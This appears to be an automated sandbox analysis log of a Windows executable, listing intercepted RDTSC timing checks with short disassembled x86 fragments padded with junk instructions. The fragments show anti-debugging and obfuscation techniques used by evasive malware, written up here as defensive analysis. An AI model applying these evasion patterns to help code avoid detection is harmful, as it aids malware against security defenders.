Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6282 second address: 4F62A7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F8B150D74F1h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F8B150D74E8h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F62A7 second address: 4F62AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F62AD second address: 4F62B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F62B1 second address: 4F62C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F62C1 second address: 4F62C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F62C5 second address: 4F62CF instructions: 0x00000000 rdtsc 0x00000002 js 00007F8B146BCD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F62CF second address: 4F62D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F62D5 second address: 4F62D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F62D9 second address: 4F6320 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B150D74EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007F8B150D74F8h 0x00000014 pop eax 0x00000015 mov edi, ebx 0x00000017 call 00007F8B150D74E9h 0x0000001c push eax 0x0000001d push edx 0x0000001e je 00007F8B150D74ECh 0x00000024 jl 00007F8B150D74E6h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6320 second address: 4F6369 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146BCD62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b ja 00007F8B146BCD69h 0x00000011 pop eax 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 ja 00007F8B146BCD5Ch 0x0000001c mov eax, dword ptr [eax] 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push edi 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F67FA second address: 4F67FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F67FE second address: 4F6804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F68C0 second address: 4F68C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6A16 second address: 4F6A1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6A1A second address: 4F6A20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6FAF second address: 4F6FB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6FB3 second address: 4F6FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6FB9 second address: 4F6FBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7058 second address: 4F705C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F705C second address: 4F7062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7433 second address: 4F7437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7437 second address: 4F7467 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F8B146BCD64h 0x0000000e pushad 0x0000000f jmp 00007F8B146BCD60h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F762F second address: 4F7635 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7635 second address: 4F763B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8B56 second address: 4F8B5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90F4 second address: 4F9163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 jmp 00007F8B146BCD5Eh 0x0000000e pop ecx 0x0000000f nop 0x00000010 pushad 0x00000011 mov ebx, dword ptr [ebp+122D282Dh] 0x00000017 jg 00007F8B146BCD5Ah 0x0000001d popad 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007F8B146BCD58h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 0000001Ah 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a mov edi, dword ptr [ebp+122D2B31h] 0x00000040 push 00000000h 0x00000042 mov esi, 31BE0061h 0x00000047 jl 00007F8B146BCD5Ch 0x0000004d sub esi, dword ptr [ebp+122D1BC1h] 0x00000053 xchg eax, ebx 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9163 second address: 4F916D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8B150D74E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9B3C second address: 4F9B46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8B146BCD56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB791 second address: 4FB797 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB797 second address: 4FB79D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB79D second address: 4FB81F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jno 00007F8B150D74EEh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F8B150D74E8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov dword ptr [ebp+12460404h], edx 0x00000030 mov dword ptr [ebp+122D1CBAh], ecx 0x00000036 push 00000000h 0x00000038 movsx esi, cx 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007F8B150D74E8h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 00000017h 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F8B150D74F7h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB553 second address: 4FB559 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB559 second address: 4FB55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FB55D second address: 4FB561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FBFF6 second address: 4FBFFB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FCDA2 second address: 4FCDA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FCDA6 second address: 4FCDAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FCB59 second address: 4FCB5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FD5F6 second address: 4FD5FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 504687 second address: 50468B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505692 second address: 5056A6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8B150D74E8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5056A6 second address: 5056AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50479B second address: 5047AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5047AB second address: 5047B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5047B0 second address: 504833 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8B150D74F8h 0x00000008 jmp 00007F8B150D74F2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 mov ebx, dword ptr [ebp+122D2889h] 0x00000016 mov dword ptr [ebp+12482082h], esi 0x0000001c push dword ptr fs:[00000000h] 0x00000023 sub dword ptr [ebp+122D1C62h], esi 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 sub dword ptr [ebp+122D1BCFh], eax 0x00000036 jnl 00007F8B150D74EEh 0x0000003c jo 00007F8B150D74E8h 0x00000042 push eax 0x00000043 pop ebx 0x00000044 mov eax, dword ptr [ebp+122D0EF1h] 0x0000004a mov bh, BDh 0x0000004c push FFFFFFFFh 0x0000004e mov bx, 84DDh 0x00000052 nop 0x00000053 jbe 00007F8B150D74FEh 0x00000059 push eax 0x0000005a push edi 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 505857 second address: 5058FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F8B146BCD58h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 push dword ptr fs:[00000000h] 0x00000029 push 00000000h 0x0000002b push ecx 0x0000002c call 00007F8B146BCD58h 0x00000031 pop ecx 0x00000032 mov dword ptr [esp+04h], ecx 0x00000036 add dword ptr [esp+04h], 0000001Bh 0x0000003e inc ecx 0x0000003f push ecx 0x00000040 ret 0x00000041 pop ecx 0x00000042 ret 0x00000043 sbb edi, 060D4AEEh 0x00000049 mov dword ptr fs:[00000000h], esp 0x00000050 jmp 00007F8B146BCD68h 0x00000055 mov eax, dword ptr [ebp+122D1509h] 0x0000005b push eax 0x0000005c mov ebx, dword ptr [ebp+122D3927h] 0x00000062 pop edi 0x00000063 push FFFFFFFFh 0x00000065 mov dword ptr [ebp+122D18F7h], edx 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007F8B146BCD5Fh 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5067E2 second address: 506821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B150D74F9h 0x00000009 popad 0x0000000a jne 00007F8B150D74E8h 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8B150D74F3h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506821 second address: 506825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 506825 second address: 50682B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50AEFA second address: 50AEFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50AEFE second address: 50AF40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F8B150D74E8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 jne 00007F8B150D74ECh 0x00000028 push 00000000h 0x0000002a mov bh, dl 0x0000002c push 00000000h 0x0000002e mov edi, 5C9AF717h 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50AF40 second address: 50AF53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146BCD5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B179 second address: 50B17D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E130 second address: 50E136 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E136 second address: 50E13A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D217 second address: 50D21D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D21D second address: 50D223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50E13A second address: 50E1BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F8B146BCD58h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 movsx ebx, cx 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ecx 0x0000002d call 00007F8B146BCD58h 0x00000032 pop ecx 0x00000033 mov dword ptr [esp+04h], ecx 0x00000037 add dword ptr [esp+04h], 00000015h 0x0000003f inc ecx 0x00000040 push ecx 0x00000041 ret 0x00000042 pop ecx 0x00000043 ret 0x00000044 push ebx 0x00000045 mov dword ptr [ebp+122D26ACh], eax 0x0000004b pop edi 0x0000004c call 00007F8B146BCD61h 0x00000051 xor bh, 00000040h 0x00000054 pop edi 0x00000055 push 00000000h 0x00000057 mov ebx, dword ptr [ebp+124655DAh] 0x0000005d push eax 0x0000005e jc 00007F8B146BCD60h 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510360 second address: 510364 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5111B7 second address: 5111BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5111BB second address: 5111BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51127C second address: 511283 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513326 second address: 513331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8B150D74E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5123D7 second address: 5123DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51345A second address: 51345F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51345F second address: 5134C6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b sub dword ptr [ebp+122D2C63h], eax 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F8B146BCD58h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 mov bx, di 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c cmc 0x0000003d mov eax, dword ptr [ebp+122D0B95h] 0x00000043 mov bh, 2Ah 0x00000045 push FFFFFFFFh 0x00000047 mov dword ptr [ebp+122D1DE7h], ecx 0x0000004d nop 0x0000004e jng 00007F8B146BCD6Dh 0x00000054 push eax 0x00000055 push edx 0x00000056 jno 00007F8B146BCD56h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5134C6 second address: 5134DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B150D74EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jng 00007F8B150D74EEh 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515200 second address: 515222 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146BCD66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515222 second address: 515227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514408 second address: 51440C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51440C second address: 514410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515227 second address: 51522D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519CCA second address: 519CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519CCE second address: 519CD8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8B146BCD56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519CD8 second address: 519CE2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8B150D74ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51DE4C second address: 51DE6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F8B146BCD66h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51DE6D second address: 51DE75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51DE75 second address: 51DE79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 521177 second address: 52117B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A844C second address: 4A8453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8453 second address: 4A8467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B150D74EEh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8467 second address: 4A846B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FBFF2 second address: 4FBFF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A404 second address: 52A422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 jmp 00007F8B146BE726h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52ADCF second address: 52ADFD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8B14C5BA96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F8B14C5BAABh 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52ADFD second address: 52AE03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52AF3F second address: 52AF43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52AF43 second address: 52AF49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
